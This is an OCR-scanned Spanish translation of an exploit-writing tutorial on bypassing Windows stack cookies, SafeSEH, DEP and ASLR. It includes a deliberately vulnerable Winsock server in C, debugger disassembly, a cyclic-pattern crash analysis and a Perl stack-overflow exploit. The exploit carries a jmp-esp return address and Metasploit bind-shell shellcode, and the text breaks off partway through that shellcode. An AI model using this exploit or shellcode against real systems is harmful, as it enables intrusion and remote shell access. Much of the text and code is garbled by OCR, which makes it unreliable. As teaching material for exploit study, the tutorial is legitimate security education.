Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

Introducciodn

Ya hemos visto como hacer exploits que funcioneWerdows XP / 2003
server.

El éxito de todos estos exploits (ya sean de sobi@s directa de RET o
de SEH) se basan en el hecho de que debe encerntrsasdireccion de
POP POP RET o una direccion RET segura. Haciendolaj@plicacion

salte a la Shellcode. En todos estos casos, pudinumntrar una direccion
mas o0 menos segura en una de las DLL’s de la ejgiica del SO. Aln

después de reiniciar la PC. Esta direccion no carhiaiciendo que el
exploit sea mas seguro.

Afortunadamente, para la gran cantidad de usufinakes de Windows, se
ha construido un niamero de mecanismos de prote@oios SO’s de
Windows.
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- Cookies del Stack (/GS Switch cookie)
- SafeSEH (Switch del compilador /SafeSEH).
- Data Execution Prevention (DEP). (Basado en softw hardware).

- Address Space Layout Randomization (ASLR). Algaazion de
direcciones de memoria o de espacio de direcciones

Proteccidon /GS de Cookies del Stack

El /GS switch es una opcion del compilador que gayid codigo al prélogo
de la funcién y al codigo epilogo para preveniakliso exitoso de los
desbordamientos tipicos de Stack (buffers de caddmaaracteres).

Cuando una aplicacion arranca, una cookie maeétkeyté [1 DWORD]
Unsigned Int) es calculada (numero Pseudo-aleatofies guardado en la
seccion .data del médulo cargado. En la funcidéioge) esta cookie se
copia al Stack, justo antes de EIP y EBP guarddgloise las direcciones
de retorno y variables locales.

[buffer][cookie][saved EBP][saved EIP]

Durante el epilogo, esta cookie es comparada deonoen la cookie
maestra. Si es diferente, concluye que esta hacemompida y se cierra el
programa. Para minimizar el impacto de las lineascadigo extras, el
compilador solo agregara la cookie del Stack fuh&ion contiene buffers
de Strings o reserva memoria en el Stack usandocaalAdemas, la
proteccion solo se activa cuando el buffer contiebgtes o mas.

En un desbordamiento de buffer tipico, el Stacktasado con tus propios
datos con intencién de sobrescribir el EIP guard®doo antes de que tus
datos sobrescriban el EIP guardado, la cookie &amigis sobrescrita.
Volviendo inatil al exploit (pero aun puede condleia un DoS). El
epilogo de la funcion notaria que la cookie ha sidodificada y la
aplicacion moriria.

[buffer][cookie][saved EBP][saved EIP]
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
N
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El segundo mecanismo de proteccion /GS importat eeordenamiento
de variables. Para prevenir que los atacantes swoliyven las variables
locales o los argumentos usados por la funciéooEipilador reorganizara
la estructura del marco del Stack y pondra losdbsffle Strings en una
direccibn mas altas que todas las variables. Cuandorra un
desbordamiento de buffer, no puede sobrescribguma variable local.

La cookie del Stack también se le dice a menudaldMCanario”.
Leer mas en:

http://en.wikipedia.org/wiki/Buffer overflow proteBon

http://blogs.technet.com/srd/archive/2009/03/1 &oskie-protection-
effectiveness-and-limitations.aspx

http://msdn.microsoft.com/en-us/library/aa290051(#13.aspx

Métodos para evitar (Bypass) las cookies /GS deldgk

“Bypass, en hacking, forma de esquivar un sistemaed
seguridad informatico; o también enfoque distinto
para solucionar un problema informatico.” Wikipedia.

La forma mas facil de superar los mecanismos ddegridn de
desbordamiento de pila, requiere que tu recupeligsias/calcules el valor
de la cookie (asi puedes sobrescribir la cookie alamismo valor en tu
buffer) Esta cookie algunas veces (casi nuncagtieim valor estético.
Pero aun si lo fuera, puede tener valores malaspodras usar ese valor.

David Litchfield ha escrito una ponencia (papergeR003:

http://www.davidlitchfield.com/papers.htm

Habla acerca de como evitar la proteccion del Stsekdo otras técnicas
gue no requieren el analisis de la cookie. Y ubdj@ mas excelente en
esta area ha sido hecho por Alex Soritov y Mark doppor Matt Miller.
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De todos modos, David describidé que, si la cooklerescrita no coincide
con la original, el cddigo verifica si hay un maugr de excepciones
definido por el programador. (Si no, se activartnahejador del SO). Si el
hacker puede sobrescribir la estructura del regisiel manejador de
excepciones (next SEH + Pointer to SE Handlerypygcar una excepcion
antes de que la cookie sea verificada, se podrtateyr el desbordamiento
de Stack (exploit de SEH). A pesar de tener la ieoo&l Stack.

Después de todo, uno de los limites mas importahte&S es que no
protege los registros del manejador de excepcioBasese punto, la
aplicacion necesitaria confiar Unicamente en losamemos de proteccion
SEH (tales como: SafeSEH, etc.) para tratar comsestcenarios. Como
expliqué en el tutorial 3:

Creacion de Exploits 3: SEH por corelanc0Od3r trattupor Ivinson.pdf

http://www.mediafire.com/?s96wcb9i06hlo58

Hay varias formas de superar este problema de EHfeS

En el Server 2003 (y después de las versiones d¥ist®7/...) se ha
modificado la excepcion estructurada. Haciendo estenario mas dificil
de explotar en versiones mas recientes del SO. rhasejadores de
excepciones ahora estan registrados en el Direaler Configuracion de
Carga “Load Configuration Directory”. Y antes deeqse ejecute un
manejador de excepciones. Se verifica su direcaon la lista de
manejadores registrados. Hablaremos de cOmo estardespués en este
articulo.

Evitar Usar Manejadores de Excepciones

Entonces, podemos derrotar la proteccion del Sgackocando una
excepcion antes de que se verifique la cookie deir@repilogo o podemos
tratar de sobrescribir otros datos (los parametnosPUSHeados al Stack a
la funcion vulnerable), que es referenciada anéeguk el chequeo de la
cookie se realice. Y luego tratar con los posiblesanismos de proteccion
de SEH. Si hay alguno, por supuesto, esta segaodaca solo funciona si
el codigo es escrito para hacer realmente refeaem@stos datos. Puedes
tratar de abusar de esto escribiendo mas allandgidel Stack.
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[buffer][cookie][EH record][saved ebp][saved eip][a rguments |

overwrite

La clave en este escenario es que necesitas sabirescsuficientemente

lejos. Y que haya una excepcion especifica delieagpn registrada (que
sea sobrescrita). Si puedes controlar la direcadéh manejador de
excepciones (en la estructura Exception_Registratinego puedes tratar
de sobrescribir el puntero con una direccién qué atiera del rango de
direcciones de un moédulo cargado (pero debericar eksponible en

memoria de todas formas). Tales como los mdédulagadas que

pertenecen al SO, etc. La mayoria de los médulolksiversiones mas
nuevas de Windows han sido compilads con /Safe&akbnces, esto ya
no funcionara. Pero aun puedes tratar de encomtrananejador en una
DLL que esté enlazada sin SafeSEH como expliquet wrtorial 3.

Después de todo, los registros SEH en el Stackpsamtegidos con GS.
Solo tienes que evitar el SafeSEH.

Como expliqué en el tutorial 3, este puntero néaesr sobrescrito con un
POP POP RET (asi el codigo aterrizaria en el nSkiHjle puedes hacer
un salto corto a la Shellcode. Alternativamentsi, mo puedes encontrar un
POP POP RET que no esté en el rango de direccimes modulo de

direcciones que pertenezca a la aplicacion, puedesr ESP o EBP,

encontrar el Offset de estos registros a la ubcadel nSEH y buscar
direcciones que harian:

- call dword ptr [esp+nn]
- call dword ptr [ebp+nn]
- jmp dword ptr [esp+nn]
- jmp dword ptr[ebp+nn]
Donde nn es el offset del registro hacia la ubdacilel nSEH. Es
posiblemente mas facil buscar una combinaciéon POP RET, pero
también deberia funcionar. El plugin pvefindaddrlsenunity Debugger

puede ayudarte a encontrar tales instrucciongsef(ndaddr jseh o
Ipvefindaddr jseh all
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Ademas, también puedes usar punteros a las ingtnesc“add esp,8 +
ret”. De nuevo/!pvefindaddr jseHo !pvefindaddr jseh dllte ayudara con
esto (rasgo agregado en la version 1.17 de pvefinia

Hacer bypass reemplazando la cookie del Stack y énseccién .data

Otra técnica para evitar la proteccion de cookatsSthck es reemplazando
este valor de cookie autorizado en la seccion deatanédulo que es de
escritura, de otra manera, la aplicacion no pochieular un cookie nueva
y almacenarla en tiempo de ejecucion, y reemplazewokie del Stack con

el mismo valor. Esta técnica solo es posible sesda habilidad de escribir
cualquier cosa en cualquier parte. Las Access Wola que dicen algo

como la instruccion de abajo, indican una arbdrde 4 bytes:

mov dword ptr[regl], reg2

Para hacer que esto funcione, obviamente necqsitdsr controlar los

contenidos de regl y reg2. regl deberia entoncesre la ubicacion de
memoria donde quieres escribir y reg2 el valor quieres escribir en esa
direccion.

Hacer Bypass porgue no Todos los Buffers estan Pegidos

Surge otra oportunidad de exploit cuando el cédigmerable que no
contiene buffers de string (porque no habra un&kieode Stack). Esto
también es valido para arreglos (arrays) de pustemunteros.

[buffer][cookie][EH record][saved ebp][saved eip][a rguments]

Ejemplo: Si los “argumentos” no contienen puntepoBuffers de string,
entonces es posible que puedas sobrescribir egias@ntos y aprovechar
el hecho de que las funciones no estan protegaa&s.

Hacer Bypass Sobrescribiendo los Datos del Stack Ennciones Arriba
del Stack

Cuando los punteros a los objetos o estructurapasadas a las funciones
y estos objetos o estructuras alojados en el StEcksus llamadores
(funcién padre), luego esto podria llevar a Bymhssookie GS. Objeto de
sobrescritura y puntero de vtable. Si diriges pstgero a la vtable falsa, tu
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puedes redirigir la llamada de la funcion local jgcatar tu codigo
malisioso.

Hacer Bypass porque puedes Adivinar/Calcular la Cakie
Reduciendo la Antropia Efectiva de Cookies GS

http://uninformed.org/?v=7&a=2&t=sumry

Hacer Bypass porque la Cookie es Estéatica
Finalmente, si el valor de la cookie parece settiestfla misma siempre,
entonces puedes poner simplemente este valor eftaek durante la
sobrescritura.

Demostracion y Depuracion de la Proteccion de la ©&ie del Stack

Para demostrar la conducta de la cookie del Staaiplemente usaremos
un trozo de codigo usado en el tutorial 4 y emaaiat en:

http://www.security-forums.com/viewtopic.php?p=3628302855

Este cddigo contiene funcion pr() vulnerable quedssbordara si se le
pasan mas de 500 bytes a esa funcion.

Abre Visual Studio C++ 2008 (La Edicion Expresspsiede descargar de
http://www.microsoft.com/express/download/defagiba ) y crea una
nueva aplicacion de consola.

He modificado un poco el cédigo original para quecfone en VS2008:

/I vulnerable server.cpp : Defines the entry point for the console
application.
1l

#include "  stdafx.h
#include " winsock.h "
#include " windows.h "

/lload windows socket
#pragma comment(lib, " wsock32.lib ")

/IDefine Return Messages
#define SS_ERROR 1
#define SS_OK 0
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pr( *str)

buf[500]="
strepy(buf,str);

sError( *str)
{
printf(" Error %s ",str);
WSACleanup();
}

_tmain( argc, _TCHAR* argv(])

{
WORD sockVersion;
WSADATA wsaData;

rval;
Message[5000]="
buf[2000]=" ;

u_short LocalPort;
LocalPort = 200;

/lwsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

/Icreate server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM,

(serverSocket == INVALID_SOCKET)
{
sError(" Failed socket() ");
SS_ERROR,;
}

SOCKADDR_IN sin;

sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

/Ibind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin,
(rVal == SOCKET_ERROR)

{

sError(" Failed bind()

WSACIleanup();

SS ERROR;

}

/lget socket to listen
rVal = listen(serverSocket, 10);
(rVal == SOCKET_ERROR)
{
sError(" Failed listen()
WSACIleanup();
SS_ERROR;
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/Iwait for a client to connect

SOCKET clientSocket;

clientSocket = accept(serverSocket, NULL, NULL);
(clientSocket == INVALID_SOCKET)

{

sError(" Failed accept() ")
WSACleanup();
SS_ERROR:

bytesRecv = SOCKET_ERROR;
( bytesRecv == SOCKET_ERROR)

{
/Ireceive the data that is being sent by the client max limit to
5000 hytes.
bytesRecv = recv( clientSocket, Message, 5000, 0

( bytesRecv == 0 || bytesRecv == WSAECONNRESET )

printf( " \nConnection Closed.\n ");

}
}

/IPass the data received to the function pr
pr(Message);

/Iclose client socket
closesocket(clientSocket);
/lclose server socket
closesocket(serverSocket);
WSACIleanup();

SS_OK;

Edita las propiedades del proyecto “servidor vidbes”:

B vulnerable server - ¥isual C++ 2008 Express Edition

File Edit Miew | Project | Buld Debug Tools  Window  Help

.;v ] - Lj [{ #2 Add dass... 3
S S R ax || ] Add New Item... Chrl+shife+a
Sl R e et ke | Add Existing Ikem. .. Shift+Alk+-4
= 2 | [EH Exclude From Project —

J Saolution “wulners '
L =1 Show all Files
Bl 33 wulnerable e

=1
m

B [EF Header Set as StartUp Project

P =
] stda *4 | Refresh Project Toolbox Thems 1
- ﬂ tar'g I:

----- | Res::-urn: vilmerable server Properties,..  Alk+F7
= [ Source F - eI e e I
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Anda a C/C++, Code Generation, y pon “Buffer Sagutheck” a No.

vulnerable server Property Pages

Configuration: |Active(Release) | Platform: |Active(winaz) .
= Configuration Properties ;I Enahle String Pooling Mo
- eneral Enable Minirmal R.ebuild Mo
- Debugging Enable C++ Exceptions Wes (JEHsC)
- CfC+H+ Smaller Type Check Mo
- General Basic Runtime Checks Ciefault
-~ Optimization Rurtime Library Multi-threaded DLL {/MD)
- Preprocessor _ Struct Member Alignment Drefaul
-~ Code Generation BuFfer Security Check Mo {/G5-)
Languagfa Enable Function-Lewvel Linking Yes (/Gy)
- Precompiled Headers -
- Output Files Enable Enhanced Instruction Set Mot Set
- Browse InFarmation Floating Paint Model Precise ([fp:precise)
. ddvanced Enable Floating Paint Exceptions Mo
- Zormrnand Line
= Linlar

Compila el codigo en modo “Debug”.

Abre el servidor vulnerable.exe en tu depuradoori&ty y mira la funcion
pr().

(8c0.9¢8): Break instruction exception - code 80000 003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004
edi=00000005
eip=7c90120e esp=0039ffcc ebp=0039fff4 iopl=0 nv up ei pl zr
na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=0038 gs=000
efl=00000246
ntdll!DbgBreakPoint:
7¢90120e cc 3
0:001> uf pr
*** WARNING: Unable to verify checksum C:\Documents
Settings\peter\My Documents\Visual Studio 2008\Proj ects\vulnerable
server\Debug\vulnerable server.exe
vulnerable_server!pr [c:\documents settings\peter\my
documents\visual studio 2008\projects\vulnerable se rver\vulnerable
server\vulnerable server.cpp @ 17]:

17 00411430 55 push ebp

17 00411431 8bec mov  ebp,esp

17 00411433 81echc020000 sub esp,2BCh

17 00411439 53 push ebx

17 0041143a 56 push esi

17 0041143b 57 push edi

17 0041143c 8dbd44fdffff lea edi,[ebp-2BC

17 00411442 h9af000000 mov  ecx,0AFh

17 00411447 b8cccccccc  mov  eax,0CCCCCCC

17 0041144c f3ab rep stos dword ptr e
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18 0041144e a03c574100 mov al,byte ptr
[vulnerable_server!® ' (0041573c)]
18 00411453 888508feffff mov  byte ptr [eb p-1F8h],al
18 00411459 68f3010000 push 1F3h
18 0041145e 6a00 push 0
18 00411460 8d8509feffff lea eax,[ebp-1F7 h]
18 00411466 50 push eax
18 00411467 e81bfcffff  call
vulnerable_server!ILT+130(_memset) (00411087)
18 0041146¢ 83c40c add esp,0Ch
19 0041146f 8b4508 mov  eax,dword pt r [ebp+8]
19 00411472 50 push eax
19 00411473 8d8d08feffff lea ecx,[ebp-1F8 h]
19 00411479 51 push ecx
19 0041147a e83ffcffff  call
vulnerable_server!ILT+185(_strcpy) (004110be)
19 0041147f 83c408 add esp,8
20 00411482 52 push edx
20 00411483 8bcd mov  ecx,ebp
20 00411485 50 push eax
20 00411486 8d15a8144100 lea edx,[vulnera ble_serverlpr+0x78
(004114a8)]
20 0041148c e80ffcffff  call
vulnerable_server!ILT+155( RTC_CheckStackVars (0041 10a0)
20 00411491 58 pop eax
20 00411492 5a pop edx
20 00411493 5f pop edi
20 00411494 5e pop esi
20 00411495 5b pop ebx
20 00411496 81c4bc020000 add esp,2BCh
20 0041149c 3bec cmp ebp,esp
20 0041149e e8cffcffff  call
vulnerable_server!ILT+365(__RTC_CheckEsp) (00411172
20 004114a3 8beb mov  esp,ebp
20 004114a5 5d pop ebp
20 004114a6 c3 ret

Como puedes ver, el prélogo de la funcidn no tiexfierencias a la cookie
de seguridad.

Ahora, recompila el ejecutable con la flag /GS vacta. (Pon Buffer
Security Check a “On” de nuevo). Y vuelve a migfuncion.

(738.828): Break instruction exception - code 80000 003 (first chance)
eax=00251eb4 ebx=7ffdcO00 ecx=00000002 edx=00000004 esi=00251f48
edi=00251eb4

eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7¢90120e cc 3

0:000> uf pr

*** \WARNING: Unable to verify checksum vulnerable server.exe




Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

vulnerable_server!pr [c:\documents settings\peter\my
documents\visual studio 2008\projects\vulnerable se rver\vulnerable
server\vulnerable server.cpp @ 17]:

17 00411430 55 push ebp

17 00411431 8bec mov  ebp,esp

17 00411433 81ecc0020000 sub esp,2C0Oh

17 00411439 53 push ebx

17 0041143a 56 push esi

17 0041143b 57 push edi

17 0041143c 8dbd40fdffff lea edi,[ebp-2C0O

17 00411442 h9b0000000 mov  ecx,0BOh

17 00411447 b8ccccccecc mov  eax,0CCCCCCC

17 0041144c f3ab rep stos dword ptr e

18 00411458 a03c574100 mov al,byte ptr
[vulnerable_server!® ' (0041573c)]
18 0041145d 888504feffff mov  byte ptr [eb p-1FCh],al
18 00411463 68f3010000 push 1F3h
18 00411468 6a00 push O
18 0041146a 8d8505feffff lea eax,[ebp-1FB h]
18 00411470 50 push eax
18 00411471 e811fcffff  call
vulnerable_server!ILT+130(_memset) (00411087)
18 00411476 83c40c add esp,0Ch
19 00411479 8b4508 mov  eax,dword pt r [ebp+8]
19 0041147c 50 push eax
19 0041147d 8d8do4feffff lea ecx,[ebp-1FC h]
19 00411483 51 push ecx
19 00411484 e835fcffff  call
vulnerable_server!ILT+185(_strcpy) (004110be)
19 00411489 83c408 add esp,8
20 0041148c 52 push edx
20 0041148d 8bhcd mov  ecx,ebp
20 0041148f 50 push eax
20 00411490 8d15bc144100 lea edx,[vulnera ble_serverlpr+0x8c
(004114bc)]
20 00411496 e805fcffff  call
vulnerable_server!ILT+155( RTC_CheckStackVars (0041 10a0)
20 0041149b 58 pop eax
20 0041149c 5a pop edx
20 0041149d 5f pop edi
20 0041149e 5e pop esi
20 0041149f 5b pop ebx
20 004114a0 8bh4dfc mov  ecx,dword pt r [ebp-4]

20 004114aa 81c4c0020000 add esp,2C0Oh

20 004114b0 3bec cmp ebp,esp

20 004114b2 e8bbfcffff  call
vulnerable_server!lLT+365(__RTC_CheckEsp) (00411172

20 004114b7 8beb5 mov  esp,ebp

20 004114b9 5d pop ebp

20 004114ba c3 ret
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En el prélogo de la funcion, suceden las siguiectsss:
- sub esp,2cOh : 704 bytes son puestos aparte.

- mov eax,dword ptr[vulnerable _server! securitypkie (00417000)]:
una copia de la cookie es recuperada.

- Xor eax,ebp : XOR ldgico de la cookie con EBP.

- Entonces, la cookie es almacenada en el Stadctaimente debajo de la
direccion de retorno.

En el epilogo de funcion, esto sucede:
- mov ecx,dword ptr [ebp-4] : obtiene la copia da pe la cookie.
- Xor ecx,ebp : hace un XOR de nuevo.

- call vulnerable_server!ITL+30(__security _checkokie (00411023) :
salta a la rutina para verificar la cookie.

En resumen: una cookie de seguridad se agreg®ikalg se compara de
nuevo antes de la funcion retorne.

Cuando intentas desbordar el buffer mediante ébethe mas de 500 bytes
al puerto 200, la aplicacion morira (en el depuratibaplicacion se va a
un BP - las variables sin inicializar se llenan @&CC en tiempo de

ejecucion al compilar con VS2008 C + +, debido &lClRy ESP contiene

lo siguiente:

(a38.444): Break instruction exception - code 80000 003 (first chance)
eax=00000001 ebx=0041149b ecx=bb522d78 edx=0012ch9b esi=102ce7b0
edi=00000002

eip=7c90120e esp=0012cbbc ebp=0012da08 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7¢90120e cc 3

0:000> d esp

0012cbbc 06 24 41 00 00 00 00 00-01 5c 41 00 2c da 12 00

2c 10

0012cbdc 53 00 74 00 61 00 63 00-6b 00 20 00 61 00 72 00 S.ta.c.k.
.a.r.
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0012cbec 6f 00 75 00 6e 00 64 00-20 00 74 00 68 00 65 00 o.u.n.d.
.t.h.e.

0012cbfc 20 00 76 00 61 00 72 00-69 00 61 00 62 00 6¢c 00
v.ar.ia.b.l.

0012ccOc 65 00 20 00 27 00 62 00-75 00 66 00 27 00 2000 e.

Jboufl.

0012cclc 77 00 61 00 73 00 20 00-63 00 6f 00 72 00 72 00 w.a.s.
.C.O.IT.

0012cc2c 75 00 70 00 74 00 65 00-64 00 2e 00 00 00 00 00
u.p.t.e.d.......

(El texto en ESP "El Stack alrededor de " la \@@idbuf" fue corrompido”
es el resultado de la verificacion de RTC que skuye en Visual Studio
2008. Desactivando la comprobacion de tiempo deuején en Visual
Studio se puede hacer mediante la desactivaciola @ptimizacion del
compilador ajustando el parametro / RTCu. . Poussiwo, en la vida real,
td no quieres desactivar esta opcion, ya que es efigpz contra la
corrupcion de la pila).

Cuando se compila el codigo original con lcc-win@Rie no tiene las
protecciones del compilador, dejando vulnerablgedutable en tiempo de
ejecucion), y abres el ejecutable en el WinDbg i(griar ain) entonces la
funcién se parece a esto:

(82c.af4): Break instruction exception - code 80000 003 (first chance)
eax=00241eb4 ebx=7{fd7000 ecx=00000005 edx=00000020 esi=00241f48
edi=00241eb4

eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7¢90120e cc 3

0:000>

*** \WARNING: Unable to verify checksum for

c:\sploits\vulnsrv\\vulnsrv.exe

004012d4 55 ebp
004012d5 89e5 mov  ebp,esp

004012d7 81ecf4010000 esp,1F4h
004012dd b97d000000 mov  ecx,7Dh

vulnsrv!pr+0xe:

004012e2 49 dec ecx

004012e3 c7048c5abafaff mov  dword ptr [esp+ecx *4],0FFFA5A5Ah
004012ea 75f6 jne  vulnsrv!pr+0xe (00 4012e2)

vulnsrv!pr+0x18:

004012ec 56 esi

004012ed 57 edi

004012ee 8dbdOcfeffff lea edi[ebp-1F4h]

004012f4 8d35a0a04000 lea esi,[vulnsrvimain+ 0x8d6e (0040a0a0)]
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004012fa b9f4010000 mov ecx,1F4h

004012ff f3a4 rep movs byte ptr es:[edi] ,byte ptr [esi]
00401301 ff7508 dword ptr [ebp+8]

00401304 8dbdOcfeffff lea edi,[ebp-1F4h]

0040130a 57 edi

0040130b €841300000 call vulnsrvimain+0x301 f (00404351)

00401310 83c408 add esp,8
00401313 5f edi
00401314 5e esi
00401315 c9 leave

00401316 c3 ret

Ahora envia un patrén de 1000 caracteres de Meiagl servidor (no
compilado con / GS) y miralo morir:

(c60.cb0): Access violation - code c0000005 (!!! se cond chance !lI)
eax=0012e656 ebx=00000000 ecx=0012e44e edx=0012e600 esi=00000001
edi=00403388

eip= esp=0012e264 ebp=41387141 iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000246

0:000>

[Byakugan] Successfully loaded!
0:000>

[Byakugan] Control of ebp at
[Byakugan] Control of eip at

Tenemos el control de EIP en el Offset 508. ESkhiapa una parte de
nuestra buffer:

0:000> d esp

0012e264 3041 72314172 3241-723341 723441
OArl1Ar2Ar3Ar4Ar5

0012e274 41 72 36 41 72 37 41 72-38 41 72 39 41 73
Ar6Ar7Ar8Aro9AsOA

0012e284 733141733241 73 33-41 733441 73 35
S1As2As3As4AS5As

0012e294 36 41 73 37 41 73 38 41-73 39 41 74 30 41
6As7As8AS9AI0ALL

0012e2a4 41 74 32 41 74 33 41 74-34 41 74 3541 74
At2At3At4At5AI6A

0012e2b4 74 37 41 74 38 41 74 39-41 75 30 41 75 31
t7At8At9AUOAUlAU

0012e2c4 32 41 75 3341 75 34 41-75 35 41 75 36 41
2AuU3AuU4AuSAUBAUT

0012e2d4 41 7538 41 75 39 41 76-30 41 76 31 41 76
AUSAU9AVOAVIAV2A

0:000>d

0012e2e4 76 3341 76 34 41 76 35-41 76 36 41 76 37
\VRYANVZYANVISYANVISYA\VI/A\Y}

0012e2f4 3841 76 3941 77 30 41-77 31 41 77 32 41
8AVOAWOAWIAW2AW3
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0012e304 41 77 3441 77 3541 77-36 41 77 37 41 77
Aw4AAWSAW6AWT7AWBA

0012e314 77 3941 78 3041 78 31-41 78 32 41 78 33
WIAXOAXIAX2AX3AX

0012e324 34 41 78 3541 78 36 41-78 37 41 78 38 41
4AX5AX6AX7AXBAX9

0012e334 41 793041 79 31 41 79-32 41 793341 79
AyOAy1Ay2Ay3Ay4A

0012e344 79 354179 36 41 79 37-41 79 38 41 79 39
y5AY6AYy7AYy8AYy9AzZ

0012e354 3041 7a31417a3241-7a3341 7a3441
0Az1Az2Az3Az4Az5

0:000>d

0012e364 41 7a 36 41 7a 37 41 7a-38 41 7a 39 42 61
VAVASYAVAAVATAVAS =T10] =

0012e374 61 31 42 61 32 42 61 33-42 61 34 42 61 35
alBa2Ba3Ba4Ba5Ba

0012e384 36 42 61 37 42 61 38 42-61 39 42 62 30 42
6Ba7Ba8Ba9Bb0Bb1

0012e394 42 62 32 42 62 33 42 62-34 42 62 35 42 62
Bb2Bb3Bb4Bb5Bb6B

0012e3a4 62 37 42 62 38 42 62 39-42 63 30 42 63 31
b7Bb8Bb9BcOBc1Bc

0012e3b4 32 42 63 33 42 63 34 42-63 35 42 63 36 42
2Bc3Bc4Bc5Bc6BcC7

0012e3c4 42 63 38 42 63 39 42 64-30 42 64 31 42 64
Bc8Bc9Bd0Bd1Bd2B

0012e3d4 64 33 42 64 34 42 64 35-42 64 36 42 64 37
d3Bd4Bd5Bd6Bd7Bd

(ESP apunta al buffer en el Offset 512).

$ ./pattern_offset.rb 0Arl 1000
512

El exploit Rapido y sucio (con jmp ESP de kernaB20x7C874413):

#

# Writing buffer overflows - Tutorial
# Peter Van Eeckhoutte

# http:  //www.corelan.be:8800
#

# Exploit for vulnsrv.c

#

#

Writing Buffer Overflows\n
Peter Van Eeckhoutte\n
http://www.corelan.be:8800\n

strict;
Socket;
$junk =" \x90 " x 508;
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#mp esp (kernel32.dll)
$eipoverwrite = ('V',0x7C874413);

# windows/shell_bind_tcp - 702 bytes

# http: ~ //www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, LPORT=5555, RHOST=

$shellcode="  \x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x4 9\x43 "

"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x5
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x4 1\x30\x30\x4
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x4
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4
" \x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x4
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x4 7\x50\x4

"\x4a\x4b\x4 7\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x4
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4
" \x44\x4c\x50\x4b\x4c\x4b\x51\x4\x45\x4c\x43\x31\x4
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x4
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x5
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x4
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x4
"\x51\x43\x42\x46\x43\x58\x46\x53\x4 7\x42\x45\x38\x4
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x4
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x4
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x4
" \x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x4
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x5
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x4
" \x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x4
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x4
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x4
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x5
"\x4c\x46\x51\x59\x51\x4 7\x4b\x4f\x49\x46\x46\x30\x5
" \x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4
"\x43\x49\x48\x46\x44\x39\x51\x4 7\x4b\x4f\x4e\x36\x4
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x4
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x5
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x4
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x4
" \x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4
